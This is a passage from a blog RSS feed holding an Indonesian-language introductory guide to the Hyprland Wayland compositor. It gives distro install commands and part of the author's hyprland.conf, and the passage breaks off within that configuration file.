&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://blowfish.page/docs/installation/&quot; target=&quot;_blank&quot;&gt;https://blowfish.page/docs/installation/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>A Quick Guide to Hyprland</title><link>https://shangdi.github.io/posts/tech/hyprland/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/hyprland/</guid><description>A simple introduction to one of the most modern yet simple linux desktop environment.</description><pubDate>Mon, 02 Jun 2025 05:39:04 GMT</pubDate><content:encoded>&lt;p&gt;Pernah dengar Hyprland?&lt;br /&gt;
Iya, &lt;strong&gt;“Hyprland”&lt;/strong&gt;, bukan Hyperland…&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Hyprland&quot; target=&quot;_blank&quot;&gt;Hyprland&lt;/a&gt; adalah &lt;u&gt; Dekstop Environment (DE) &lt;/u&gt; yang mengusung konsep &lt;u&gt; Dynamic Tiling Window Manager &lt;/u&gt; yang ditulis dengan bahasa C++. Salah satu yang membuat Hyprland digadang-gadang sebagai DE “futuristik” adalah karena menggunakan &lt;u&gt; wayland &lt;/u&gt; sebagai &lt;u&gt; display server protocol (compositor) &lt;/u&gt;-nya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Tentang DE, WM, dan Display Server&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Desktop Environment (DE):&lt;/strong&gt; &lt;em&gt;desktop environment&lt;/em&gt; (DE) adalah sebuah sistem &lt;em&gt;Graphical User Interface&lt;/em&gt; (GUI) yang terdiri dari kumpulan program tertentu (WM, File Manager, Panel, App Launcher, etc) sehingga memudahkan interaksi antara kita (&lt;em&gt;user&lt;/em&gt;) dengan komputer. Beberapa contoh DE linux yang populer diantaranya ada &lt;a href=&quot;https://kde.org/id/plasma-desktop/&quot; target=&quot;_blank&quot;&gt;KDE Plasma&lt;/a&gt;, &lt;a href=&quot;https://www.gnome.org/&quot; target=&quot;_blank&quot;&gt;GNOME&lt;/a&gt;, &lt;a href=&quot;https://www.xfce.org/&quot; target=&quot;_blank&quot;&gt;XFCE&lt;/a&gt;, &lt;a href=&quot;https://mate-desktop.org/id/&quot; target=&quot;_blank&quot;&gt;MATE&lt;/a&gt;, &lt;a href=&quot;https://system76.com/cosmic/&quot; target=&quot;_blank&quot;&gt;Cosmic&lt;/a&gt;, dan masih banyak lagi.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Window Manager (WM):&lt;/strong&gt; &lt;em&gt;window manager&lt;/em&gt; adalah sebuah sistem atau pengaturan yang mengelola penempatan dan tampilan dari “window” yang terdapat di &lt;em&gt;Graphical User Interface&lt;/em&gt; (GUI). WM biasanya juga sudah ada di dalam DE, atau bisa juga berdiri sendiri tanpa DE (&lt;em&gt;standalone&lt;/em&gt;). Secara umum, ada 3 jenis WM:&lt;br /&gt;
&lt;em&gt;&lt;strong&gt;a. Stacking (floating)&lt;/strong&gt;&lt;/em&gt;: Windows dapat ditumpuk satu dengan lainnya.&lt;br /&gt;
&lt;em&gt;&lt;strong&gt;b. Tiling&lt;/strong&gt;&lt;/em&gt;: Windows tidak dapat ditumpuk sehingga tersusun bersebelahan.&lt;br /&gt;
&lt;em&gt;&lt;strong&gt;c. Dynamic&lt;/strong&gt;&lt;/em&gt;: Windows fleksibel, bisa dibuat &lt;em&gt;&lt;strong&gt;stacking (floating)&lt;/strong&gt;&lt;/em&gt; dan juga &lt;em&gt;&lt;strong&gt;tiling&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Display Server:&lt;/strong&gt; &lt;em&gt;display server&lt;/em&gt; adalah inti dari sistem grafis (GUI di Linux). Ia bertugas untuk mengelola interaksi antara kita (&lt;em&gt;user&lt;/em&gt;) dengan aplikasi yang berbasis GUI. Itu artinya, tanpa &lt;em&gt;display server&lt;/em&gt;, kita tidak dapat menjalankan DE &amp;amp; WM dan hanya dapat berinteraksi via CLI di mode &lt;a href=&quot;https://wiki.archlinux.org/title/Linux_console&quot; target=&quot;_blank&quot;&gt;tty&lt;/a&gt;. Dua jenis &lt;em&gt;display server&lt;/em&gt; yang populer digunakan saat ini:&lt;br /&gt;
&lt;em&gt;&lt;strong&gt;a. X11&lt;/strong&gt;&lt;/em&gt;: sudah lama ada (sejak 1980-an), kompleks, relatif lebih lambat, &lt;em&gt;compositing&lt;/em&gt; (efek visual) terpisah, tapi kompatibilitasnya dengan &lt;em&gt;software&lt;/em&gt; luas.&lt;br /&gt;
&lt;em&gt;&lt;strong&gt;b. Wayland&lt;/strong&gt;&lt;/em&gt;:  baru ada (sekitar 2010-an), sederhana, relatif lebih cepat &amp;amp; responsif, &lt;em&gt;compositing&lt;/em&gt; bawaan, tapi kompatibilitasnya masih belum banyak didukung karena sedang transisi.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Referensi:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Desktop_environment&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/Desktop_environment&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Window_manager&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/Window_manager&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Wayland&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/Wayland&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;
&lt;section&gt;&lt;h2&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Sebelum melakukan instalasi Hprland, saya sarankan di laptop atau komputer kalian sudah ter-&lt;em&gt;install&lt;/em&gt; DE yang lebih “stabil” terlebih dahulu, seperti KDE Plasma, GNOME, atau Xfce agar tidak perlu meng-&lt;em&gt;install&lt;/em&gt; paket-paket penting lain seperti File Manager, Terminal, etc.&lt;/p&gt;&lt;/blockquote&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install hyprland kitty wofi waybar waypaper swww&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;yay -Sy hyprland kitty wofi waybar waypaper swww&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper in hyprland kitty wofi waybar waypaper swww&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install hyprland kitty wofi waybar waypaper swww&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Fyi, paket &lt;strong&gt;&lt;code&gt;hyprland&lt;/code&gt;&lt;/strong&gt; di Debian sudah &lt;em&gt;outdated&lt;/em&gt;. Jadi, disarankan untuk meng-&lt;em&gt;install&lt;/em&gt; Hyprland secara manual.
Berikut tutorialnya:&lt;br /&gt;
&lt;a href=&quot;https://wiki.hyprland.org/Getting-Started/Installation/#manual-manual-build&quot; target=&quot;_blank&quot;&gt;https://wiki.hyprland.org/Getting-Started/Installation/#manual-manual-build&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Catatan:&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;kitty&lt;/code&gt;&lt;/strong&gt; adalah terminal default yang disarankan oleh Hyprland.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wofi&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;application launcer&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;waybar&lt;/code&gt;&lt;/strong&gt; adalah panel yang berfungsi sebagai status bar.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;waypaper&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;tools&lt;/em&gt; untuk mengganti &lt;em&gt;wallpaper&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;swww&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;wallpaper engine&lt;/em&gt;. Salah satu fungsinya adalah untuk menambahkan efek visualisasi ketika &lt;em&gt;wallpaper&lt;/em&gt; berganti.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Btw, saya pernah menulis tentang konfigurasi &lt;strong&gt;&lt;code&gt;kitty&lt;/code&gt;&lt;/strong&gt; juga di sini:&lt;/p&gt;&lt;a href=&quot;/posts/tech/kittyconfig/&quot;&gt;&lt;div&gt;&lt;div&gt;Configuring Kitty &amp;amp; Bash&lt;/div&gt;&lt;div&gt;&lt;span&gt;2024-09-10&lt;/span&gt;&lt;span&gt;kitty&lt;/span&gt;&lt;span&gt;&lt;span&gt;#terminal&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#kitty&lt;/span&gt;&lt;span&gt;#bash&lt;/span&gt;&lt;span&gt;#shell&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;335&quot; src=&quot;/_astro/ss1.B1iXFplk_O2cfd.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Configuration&lt;a href=&quot;#configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;File konfigurasi &lt;strong&gt;&lt;code&gt;hyprland&lt;/code&gt;&lt;/strong&gt; tersimpan di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;~/.config/hypr/hyprland.conf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;hyprland.conf&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# #######################################################################################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# AUTOGENERATED HYPRLAND CONFIG.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# PLEASE USE THE CONFIG PROVIDED IN THE GIT REPO /examples/hyprland.conf AND EDIT IT,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# OR EDIT THIS ONE ACCORDING TO THE WIKI INSTRUCTIONS.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# #######################################################################################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# autogenerated = 1 # remove this line to remove the warning&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# This is an example Hyprland config file.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Refer to the wiki for more information.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# https://wiki.hyprland.org/Configuring/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Please note not all available settings / options are set here.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# For a full list, see the wiki&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# You can split this configuration into multiple files&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Create your files separately and then link them to this file like this:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# source = ~/.config/hypr/myColors.conf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;### MONITORS ###&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# See https://wiki.hyprland.org/Configuring/Monitors/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;monitor&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;,preferred,auto,auto&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;monitor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eDP-1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1920x1080@60,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x0,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#monitor = eDP-1, 1366x768@60, 0x0, 1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;###################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;### MY PROGRAMS ###&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;###################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# See https://wiki.hyprland.org/Configuring/Keywords/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Set programs that you use&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$terminal&lt;/span&gt;&lt;span&gt; = kitty&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$fileManager&lt;/span&gt;&lt;span&gt; = dolphin&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$menu&lt;/span&gt;&lt;span&gt; = wofi --show drun&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;### AUTOSTART ###&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Autostart necessary processes (like notifications daemons, status bars, etc.)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Or execute your favorite apps at launch like this:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# exec-once = $terminal&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# exec-once = nm-applet &amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# exec-once = waybar &amp;amp; hyprpaper&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exec-once&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;waybar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#exec-once = waypaper --wallpaper /home/wildan/Pictures/pexels-kaboompics-5815.jpg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exec-once&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;waypaper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--restore&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#############################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;### ENVIRONMENT VARIABLES ###&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#############################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# See https://wiki.hyprland.org/Configuring/Environment-variables/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;env&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;XCURSOR_SIZE,24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;env&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HYPRCURSOR_SIZE,24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;###################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;### PERMISSIONS ###&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;###################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# See https://wiki.hyprland.org/Configuring/Permissions/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Please note permission changes here require a Hyprland restart and are not applied on-the-fly&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# for security reasons&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ecosystem {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#   enforce_permissions = 1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;79&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
